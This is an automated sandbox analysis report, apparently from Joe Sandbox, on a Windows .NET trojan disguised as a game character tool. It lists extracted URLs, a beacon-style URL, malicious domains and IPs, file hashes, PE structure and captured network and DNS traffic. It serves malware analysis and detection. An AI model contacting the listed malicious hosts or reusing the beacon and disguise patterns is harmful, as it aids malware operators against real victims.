http://www.carterandcone.coma	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.252658676.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false		high
http://www.carterandcone.comexc	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252876215.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false		high
http://www.tiro.comw	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252833728.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.comd	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252349501.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlo	TPJX2QwEdXs5sTV.exe, 00000001.00000003.258643842.000000000605E000.00000004.00000001.sdmp	false		high
http://www.sajatypeworks.comt	TPJX2QwEdXs5sTV.exe, 00000001.00000003.245363117.0000000006022000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cno.U	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deA	TPJX2QwEdXs5sTV.exe, 00000001.00000003.256226500.0000000006041000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zhongyicts.com.cno.E	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252145677.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://en.w	TPJX2QwEdXs5sTV.exe, 00000001.00000003.247036337.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com9	TPJX2QwEdXs5sTV.exe, 00000001.00000003.253864499.0000000006043000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.coml	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.252434713.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cnk	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/	TPJX2QwEdXs5sTV.exe, 00000001.00000003.251510361.0000000006040000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.comof	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252225171.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn	TPJX2QwEdXs5sTV.exe, 00000001.00000003.251577185.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn0	TPJX2QwEdXs5sTV.exe, 00000001.00000003.251577185.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	TPJX2QwEdXs5sTV.exe, 00000001.00000003.258314127.000000000605E000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.258167734.0000000006041000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false		high
http://www.sakkal.com3	TPJX2QwEdXs5sTV.exe, 00000001.00000003.253704425.0000000006043000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/cabarga.html	TPJX2QwEdXs5sTV.exe, 00000001.00000003.258643842.000000000605E000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cncom	TPJX2QwEdXs5sTV.exe, 00000001.00000003.251577185.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.monotype.	TPJX2QwEdXs5sTV.exe, 00000001.00000003.260424917.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.438451.com/t75f/?IL3h=1BeMm2dWByn9xv9J99R2XzKkk0MJMO8GKUMNYM3ZZNvYMz7ACarE0KIXHaUrAW4HLV	cmd.exe, 00000017.00000002.521651760.0000000003C32000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.comona	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252225171.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.ascendercorp.com/typedesigners.htmlh	TPJX2QwEdXs5sTV.exe, 00000001.00000003.253864499.0000000006043000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers8	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cnicr	TPJX2QwEdXs5sTV.exe, 00000001.00000003.251577185.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kX	TPJX2QwEdXs5sTV.exe, 00000001.00000003.250819017.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sandoll.co.kra-e#	TPJX2QwEdXs5sTV.exe, 00000001.00000003.250514753.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/	TPJX2QwEdXs5sTV.exe, 00000001.00000003.256412762.0000000006041000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn(	TPJX2QwEdXs5sTV.exe, 00000001.00000003.251297242.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers3	TPJX2QwEdXs5sTV.exe, 00000001.00000003.258749887.000000000603B000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
54.194.41.141	domains.readymag.com	United States		16509	AMAZON-02US	false
172.67.147.111	www.munortiete.com	United States		13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	483640
Start date:	15.09.2021
Start time:	10:37:40
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	TPJX2QwEdXs5sTV.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@10/1@7/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 9.2% (good quality ratio 8.8%) Quality average: 77% Quality standard deviation: 26%
HCA Information:	Successful, ratio: 99% Number of executed functions: 85 Number of non-executed functions: 275
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.35.236.56, 20.82.210.154, 209.197.3.8, 20.54.110.249, 40.112.88.60, 23.216.77.209, 23.216.77.208 Excluded domains from analysis (whitelisted): fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, cds.d2s7q6s2.hwcdn.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:38:48	API Interceptor	1x Sleep call for process: TPJX2QwEdXs5sTV.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54.194.41.141	PO889876.pdf.exe	Get hash	malicious	Browse	www.maleev.design/a7dr/?NTots4J=R9ptnxQNB44VdMlgavxu7aNuHoyYBwaJO8KVHTec7XFz9L8vbWf1S3lhRtFZGNrBr39p&Ch9De=9rj01Zg0
	DHL Receipt_AWB811470484778.exe	Get hash	malicious	Browse	www.maleev.design/a7dr/?vT=R9ptnxQNB44VdMlgavxu7aNuHoyYBwaJO8KVHTec7XFz9L8vbWf1S3lhRtFZGNrBr39p&S0Gl9T=RPHlpDKhNf_x
	Nigj57ar4W.exe	Get hash	malicious	Browse	www.zuluforest.com/g050/?QZ3d8rFH=51f9LteLSLtZ/KEFFUFc6GczSQZWKxJptRVR4rE3mzWWLUSWQ1nFrlc8EIzEiz7hG4yH&3fnDH=hpvPaByp64GpMl8p

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
domains.readymag.com	PO889876.pdf.exe	Get hash	malicious	Browse	54.194.41.141
domains.readymag.com	DHL Receipt_AWB811470484778.exe	Get hash	malicious	Browse	54.194.41.141

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AMAZON-02US	tgamf4XuLa.exe	Get hash	malicious	Browse	99.83.154.118
	SRMETALINDUSTRIES.exe	Get hash	malicious	Browse	44.227.65.245
	PI L032452021xxls.exe	Get hash	malicious	Browse	99.83.154.118
	Unpaid invoice.exe	Get hash	malicious	Browse	99.83.154.118
	FaxGUO65DE.391343-Faa.html	Get hash	malicious	Browse	3.139.50.24
	FaxGUO65DE.391343-Faa.html	Get hash	malicious	Browse	3.139.50.24
	Elon Musk Club - 024705 .htm	Get hash	malicious	Browse	13.226.156.103
	PGQBjDmDZ4	Get hash	malicious	Browse	34.249.145.219
	m5DozqUO2t	Get hash	malicious	Browse	54.70.167.99
	avxeC9Wssi	Get hash	malicious	Browse	13.52.148.225
	Wh3hrPWbBG	Get hash	malicious	Browse	34.249.145.219
	re2.x86	Get hash	malicious	Browse	184.77.232.100
	re2.arm7	Get hash	malicious	Browse	63.32.132.1
	Fourlokov9.x86	Get hash	malicious	Browse	34.249.145.219
	re2.x86	Get hash	malicious	Browse	54.96.126.50
	re2.arm	Get hash	malicious	Browse	18.226.174.198
	XbvAoRKnFm.exe	Get hash	malicious	Browse	52.218.0.168
	Enclosed.xlsx	Get hash	malicious	Browse	13.238.159.178
	HBW PAYMENT LIST FOR 2021,20210809.xlsx	Get hash	malicious	Browse	3.139.183.122
	debit.xlsx	Get hash	malicious	Browse	52.77.232.215

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\TPJX2QwEdXs5sTV.exe.log Download File
Process:	C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
MD5:	FED34146BF2F2FA59DCF8702FCC8232E
SHA1:	B03BFEA175989D989850CF06FE5E7BBF56EAA00A
SHA-256:	123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
SHA-512:	1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.724399427496627
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	TPJX2QwEdXs5sTV.exe
File size:	671232
MD5:	ce556ce97ea23cbc2940f2aad45d468f
SHA1:	cc2bdaefa2f0ac108e2f456e42a42e8258580cf4
SHA256:	7c3d5ebd2c417a52b2a0b98dee95b5a7f283816f6a2453ceeffd31becc140882
SHA512:	82d4d71aeb5118d600394c64eb127ca4a87d7b83702feb4f9c5b0a0d98a597f812ebfd16784cbde54b9f4b1c87d3c7eaf57fb1c86b9720df95419887fc13f77b
SSDEEP:	12288:cC2I/yzQs2TaIpIByklwoL18/kdfskxRXP6erdH2fQiZ8uXpIe:cOMIpIBG/CUqRXP64gf5Ie
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... .Aa.....................n......".... ........@.. ....................................@................................

File Icon


Icon Hash:	f1f0f4d0eecccc71

Static PE Info

General
Entrypoint:	0x49ed22
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x61419020 [Wed Sep 15 06:18:08 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9ecc8	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa2000	0x6b3c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa0000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x9cd28	0x9ce00	False	0.870889877988	data	7.79647412085	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.reloc	0xa0000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xa2000	0x6b3c	0x6c00	False	0.441261574074	data	5.13425944435	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0xa22b0	0x668	data
RT_ICON	0xa2918	0x2e8	dBase IV DBT of @.DBF, block length 512, next free block index 40, next free block 1953594267, next used block 28725
RT_ICON	0xa2c00	0x128	GLS_BINARY_LSB_FIRST
RT_ICON	0xa2d28	0xea8	data
RT_ICON	0xa3bd0	0x8a8	dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 0, next used block 0
RT_ICON	0xa4478	0x568	GLS_BINARY_LSB_FIRST
RT_ICON	0xa49e0	0x25a8	data
RT_ICON	0xa6f88	0x10a8	data
RT_ICON	0xa8030	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0xa8498	0x84	data
RT_VERSION	0xa851c	0x46c	data
RT_MANIFEST	0xa8988	0x1b4	XML 1.0 document, UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2008 - 2010
Assembly Version	1.3.0.0
InternalName	BINDOP.exe
FileVersion	1.3.0.0
CompanyName	WHC
LegalTrademarks
Comments	A little Tool where you can check the stats of your RYL - Risk Your Life - characters. Ruins of War version.
ProductName	RYL Character Tool - RoW EU version
ProductVersion	1.3.0.0
FileDescription	RYL Character Tool - RoW EU version
OriginalFilename	BINDOP.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
09/15/21-10:40:22.963692	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49809	54.194.41.141	192.168.2.7
09/15/21-10:40:30.779091	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.7	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2021 10:40:22.870871067 CEST	49809	80	192.168.2.7	54.194.41.141
Sep 15, 2021 10:40:22.916246891 CEST	80	49809	54.194.41.141	192.168.2.7
Sep 15, 2021 10:40:22.916414022 CEST	49809	80	192.168.2.7	54.194.41.141
Sep 15, 2021 10:40:22.916647911 CEST	49809	80	192.168.2.7	54.194.41.141
Sep 15, 2021 10:40:22.961667061 CEST	80	49809	54.194.41.141	192.168.2.7
Sep 15, 2021 10:40:22.963691950 CEST	80	49809	54.194.41.141	192.168.2.7
Sep 15, 2021 10:40:22.963721991 CEST	80	49809	54.194.41.141	192.168.2.7
Sep 15, 2021 10:40:22.968941927 CEST	49809	80	192.168.2.7	54.194.41.141
Sep 15, 2021 10:40:22.968986034 CEST	49809	80	192.168.2.7	54.194.41.141
Sep 15, 2021 10:40:23.020061970 CEST	80	49809	54.194.41.141	192.168.2.7
Sep 15, 2021 10:40:34.881098986 CEST	49810	80	192.168.2.7	172.67.147.111
Sep 15, 2021 10:40:34.897906065 CEST	80	49810	172.67.147.111	192.168.2.7
Sep 15, 2021 10:40:34.908710957 CEST	49810	80	192.168.2.7	172.67.147.111
Sep 15, 2021 10:40:34.909507036 CEST	49810	80	192.168.2.7	172.67.147.111
Sep 15, 2021 10:40:34.926214933 CEST	80	49810	172.67.147.111	192.168.2.7
Sep 15, 2021 10:40:34.941842079 CEST	80	49810	172.67.147.111	192.168.2.7
Sep 15, 2021 10:40:34.941930056 CEST	80	49810	172.67.147.111	192.168.2.7
Sep 15, 2021 10:40:34.942150116 CEST	49810	80	192.168.2.7	172.67.147.111
Sep 15, 2021 10:40:34.942254066 CEST	49810	80	192.168.2.7	172.67.147.111
Sep 15, 2021 10:40:34.958969116 CEST	80	49810	172.67.147.111	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2021 10:38:46.986335993 CEST	58562	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:38:47.016876936 CEST	53	58562	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:00.102910042 CEST	56590	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:00.136336088 CEST	53	56590	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:20.280997992 CEST	60501	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:20.314630032 CEST	53	60501	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:20.413455963 CEST	53775	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:20.439740896 CEST	53	53775	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:27.876425982 CEST	51837	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:27.909624100 CEST	53	51837	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:28.535415888 CEST	55411	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:28.563684940 CEST	53	55411	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:29.114669085 CEST	63668	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:29.144901991 CEST	53	63668	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:29.617160082 CEST	54640	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:29.619275093 CEST	58739	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:29.647044897 CEST	53	54640	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:29.663314104 CEST	53	58739	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:30.354182959 CEST	60338	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:30.383783102 CEST	53	60338	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:30.958170891 CEST	58717	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:30.997869968 CEST	53	58717	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:31.556978941 CEST	59762	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:31.584739923 CEST	53	59762	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:32.320761919 CEST	54329	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:32.345835924 CEST	53	54329	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:33.259136915 CEST	58052	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:33.285986900 CEST	53	58052	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:33.685039043 CEST	54008	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:33.712068081 CEST	53	54008	8.8.8.8	192.168.2.7
Sep 15, 2021 10:39:37.825959921 CEST	59451	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:39:37.861711979 CEST	53	59451	8.8.8.8	192.168.2.7
Sep 15, 2021 10:40:17.770468950 CEST	52914	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:40:17.801754951 CEST	53	52914	8.8.8.8	192.168.2.7
Sep 15, 2021 10:40:18.896472931 CEST	64569	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:40:18.937084913 CEST	53	64569	8.8.8.8	192.168.2.7
Sep 15, 2021 10:40:21.522937059 CEST	52816	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:40:21.552311897 CEST	53	52816	8.8.8.8	192.168.2.7
Sep 15, 2021 10:40:22.819891930 CEST	50781	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:40:22.864661932 CEST	53	50781	8.8.8.8	192.168.2.7
Sep 15, 2021 10:40:27.972635031 CEST	54230	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:40:28.970036983 CEST	54230	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:40:29.799778938 CEST	53	54230	8.8.8.8	192.168.2.7
Sep 15, 2021 10:40:30.778945923 CEST	53	54230	8.8.8.8	192.168.2.7
Sep 15, 2021 10:40:34.846492052 CEST	54911	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:40:34.879271030 CEST	53	54911	8.8.8.8	192.168.2.7
Sep 15, 2021 10:40:44.972348928 CEST	49958	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:40:45.377986908 CEST	53	49958	8.8.8.8	192.168.2.7
Sep 15, 2021 10:40:50.800831079 CEST	50860	53	192.168.2.7	8.8.8.8
Sep 15, 2021 10:40:51.148735046 CEST	53	50860	8.8.8.8	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Sep 15, 2021 10:40:30.779090881 CEST	192.168.2.7	8.8.8.8	cffb	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 15, 2021 10:40:17.770468950 CEST	192.168.2.7	8.8.8.8	0x3f3c	Standard query (0)	www.ice-lemon.pro	A (IP address)	IN (0x0001)
Sep 15, 2021 10:40:22.819891930 CEST	192.168.2.7	8.8.8.8	0x424a	Standard query (0)	www.indianadogeavaxsite.site	A (IP address)	IN (0x0001)
Sep 15, 2021 10:40:27.972635031 CEST	192.168.2.7	8.8.8.8	0x4193	Standard query (0)	www.pierrot-bros.com	A (IP address)	IN (0x0001)
Sep 15, 2021 10:40:28.970036983 CEST	192.168.2.7	8.8.8.8	0x4193	Standard query (0)	www.pierrot-bros.com	A (IP address)	IN (0x0001)
Sep 15, 2021 10:40:34.846492052 CEST	192.168.2.7	8.8.8.8	0x5287	Standard query (0)	www.munortiete.com	A (IP address)	IN (0x0001)
